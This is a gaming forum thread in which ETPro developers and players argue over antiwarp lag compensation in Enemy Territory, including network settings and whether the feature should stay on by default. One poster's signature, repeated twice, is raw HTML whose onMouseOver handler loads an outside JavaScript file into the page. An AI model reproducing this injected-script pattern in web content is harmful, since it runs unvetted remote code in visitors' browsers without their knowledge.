netlag issues in 3.0.x

Discussion for any ET/ETPro/BayonET bugs or cheats you find...

Moderators: Forum moderators, developers

User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

V6.Sven wrote:Exactly how much lag does it take to make antilag do its work? In CY-senator graphs there are some small dead pieces where the ping graph is 0, and after that the antilag starts working and generates a lot of compensation. The longer it takes for the green bar to get up again, the bigger the antilag compensation is. Isn't it possable to stop the compensation for the really small lag "gaps" and just antilag the bigger ones?
As I understand it, you'll need a 75ms gap (e.g. a sudden 75ms increase in ping, e.g. going from 40ms to 115ms immediately) before antiwarp will take effect. The antiwarp code should never generate excessive compensation, and the compensation decays at a ratio of 1.02:1 (versus real time.) The values which antiwarp currently uses were derived from a lot of experimentation, primarily with landmines, to ensure they were as conservative as possible without allowing anybody to do naughty things.

The next release of etpro will draw antiwarp differently on the lagometer so that it will be easy to tell when antiwarp is in effect. This sample screenshot of this new feature might provide some insight into what antiwarp is actually doing. The dark green represents my real ping, while the darkened section shows my ping with the antiwarp compensation.

The weird 0ms gaps in senator's netgraph shots are probably due to a minor bug in the lagometer code involving antiwarp... Those particular sections are probably best left discarded as invalid for the moment. I've not yet dreampt up a good way to fix the problem that causes that particular bug, so it may still be there in the next release.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
nodey
Posts: 19
Joined: Sun Jun 06, 2004 8:45 am

Post by nodey »

So in other words, tough luck for the people that have this problem with antiwarp?
Since people warping over landmines(which i dont do, or warp at all for that matter) is a bigger issue than people not being able to play the game properly.
I wish someone would clearly state that the anti-warp is bugged and will be adressed if not completely removed.

I have hours to spare every day, and i'll help in any way that i can to fix this, because this is really starting to get on my nerves.
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

Rain wrote: As I understand it, you'll need a 75ms gap (e.g. a sudden 75ms increase in ping, e.g. going from 40ms to 115ms immediately)
A 75 ms flux isn't really that much. On a normal DSL connection, one full MTU non game packet would give you close to that.

Code: Select all

Reply from *.*.*.*&#58; bytes=32 time=20ms TTL=253
...
Reply from *.*.*.*&#58; bytes=1500 time=80ms TTL=253
That's on a 384/768 connection.
send lawyers, guns and money
BOTA
Posts: 136
Joined: Wed Oct 23, 2002 3:53 am

Post by BOTA »

This is real difficult, people are not suppossed to do naughty things but at what cost remains the question.
The current solution seems fine to me.
But I can understand how this can be different for some people...
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

SCDS_reyalP wrote:
Rain wrote: As I understand it, you'll need a 75ms gap (e.g. a sudden 75ms increase in ping, e.g. going from 40ms to 115ms immediately)
A 75 ms flux isn't really that much. On a normal DSL connection, one full MTU non game packet would give you close to that.

Code: Select all

Reply from *.*.*.*&#58; bytes=32 time=20ms TTL=253
...
Reply from *.*.*.*&#58; bytes=1500 time=80ms TTL=253
That's on a 384/768 connection.
The results are quite different when you're only receiving the large packet and not sending it, though. ET's outbound packets are never anywhere near 1500 bytes, and ~6000 bytes/second has a negligable impact on my connection (512 down/128 up, interleaved DSL). Having only 75ms of antiwarping isn't going to be too noticable, anyway...

Ultimately, the problem is that transient networks aren't quite so transient when antiwarp is enabled. Bumping up cl_packetdup may help a little, but ultimately, I don't think there's much we can do about it without breaking antiwarp.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

as rain stated, client commands aren't anywhere near 1500 bytes. typical client commands are 64-80 bytes iirc.

anyway its more than just a simple 75ms gap. the way antiwarp works is if a sudden burst of buffered client commands comes in all at once (due to upstream packet loss) and that burst would allow the client to do naughty things (warping...) then it smooths it out over time.

basically as long as your client sends packets at a regular rate, you dont have problems. if your upstream is bad and drops packets on its way to the server, you get problems. but your upstream connection has to be really bad for this to happen.

if your problem is upstream packet loss, lowering your cl_maxpackets and/or increasing cl_packetdup may help to compensate for your poor upstream connection.

eg, if your upstream packets look like this, you'll be ok:

Code: Select all

| | | || |  |  | | | | |  | | |  | | ||  | | | | | |
if your upstream packets look like this, it causes antiwarp to kick in:

Code: Select all

| | | | |    |    ||||| | | | |        ||||||| | | | | |
it is important to note that while antiwarped, antilag still works perfectly. i am able to antiwarp out to over 500ms and still get headshots on moving targets with a thompson.

fwiw there are other ways to lose packets, eg punkbuster background checks can lock up your client for hundreds to thousands of milliseconds.

solutions?
  • get better upstream bandwidth
  • play on servers without antiwarp enabled
  • stop warez uploading while playing :D
BOTA
Posts: 136
Joined: Wed Oct 23, 2002 3:53 am

Post by BOTA »

That last one should do it :P
nodey
Posts: 19
Joined: Sun Jun 06, 2004 8:45 am

Post by nodey »

bani wrote: solutions?
  • get better upstream bandwidth
  • play on servers without antiwarp enabled
  • stop warez uploading while playing :D
Are you being serious?

I got a few solutions or suggestions if you will:

1.In the next bugfix set b_antiwarp 0 as default.
It doesnt do half as much good than it does bad.
People warping over landmines? Erm..what?
I've played hundreds of clangames since et came out and never have i heard anyone being called "minehopper!".
However i have heard loads and loads of whining about maxpackets 30, which is why your recommendation of lowering the mxpkts makes no sense to me. Oh, and people still do warp(doh).
If leagues want to stop/minimize warping, they can force a higher maxpackets setting. Like savage.

2. Many players might not be able to tell the difference between "normal" isp/server lag and the antiwarp. Hell, it took me 2 weeks to figure out what it was. When more people do, i am sure you will hear more about this.

3. I can imagine it is fun to implement "cool" features into etpro, but i can say with certainty that us serious players want stability more than anything.
Obviously, you have a great influence in the et scene since practically every big league uses etpro, which gives you the freedom to do whatever you want. And the community will accept it.
So it's not as simple as "playing on servers without antilag enabled"...

In conclusion i'd like to say, i know you're doing this out of free will, and that is admirable. Lets just hope the attention hasn't gone to your head and the future of this community hangs by the thread called banis pride.

Many good players have left ET because of the already existing issues.
Now this on top of that..
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

we implemented antiwarp at the request of leagues because of the warping issue.

if you have an issue with it, you should request that your league turn it off.

we can change the default to 0, but most leagues (all leagues i know of) force it to 1 anyway. so us changing the default would do absolutely nothing for comp games. the only thing it would affect is pubs.
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

FWIW, my comment was point out that sending 1 other 1500 byte packet, unrelated to the game (pb perhaps ?) might be enough to trigger antiwarp. IOW, seeing a 75+ms flux a few times per minute could be quite common.

Even to servers with a very good connection I see a small antiwarp bump in the lagometer fairly often. I don't find it hugely distruptive. After all, without antiwarp, I would still have been spiking but would just have less of an indication of it. I think many people don't realize that this instability was already in their connection...
send lawyers, guns and money
nodey
Posts: 19
Joined: Sun Jun 06, 2004 8:45 am

Post by nodey »

Thats what i'm saying, i dont have the instability in the connection.
It's only in etpro.
My connection is a 8mbps adsl.
I have a stable 20-50 ping with etmain depending on where i play.
fl1pper
Posts: 2
Joined: Thu Jun 10, 2004 10:25 am

Post by fl1pper »

I also have the same issues as node is describing- lag which apears every 20 min or so and wont disapear until stopping- and if u can get a hs then turn ur aimbot off tbh.

Having read this topic I'm dissapointed since it sounds like i have to put up with the problems.


Etmain its fine
Shrub its fine
CoD is fine
Battlefield is fine

Etpro isnt!

As for solution: play on servers with antiwarp 0
Not really a solution tbh.

I miss shrub
BOTA
Posts: 136
Joined: Wed Oct 23, 2002 3:53 am

Post by BOTA »

The road to perfection is paved with problems.
Strangely I have none of these problems.
nodey
Posts: 19
Joined: Sun Jun 06, 2004 8:45 am

Post by nodey »

BOTA wrote:The road to perfection is paved with problems.
Strangely I have none of these problems.
How good for you.
Maybe you should start a thread about all the problems you dont have.
=)
BOTA
Posts: 136
Joined: Wed Oct 23, 2002 3:53 am

Post by BOTA »

It was not meant to offend.
I jus have a hard time finding anyone with these problems..
Post Reply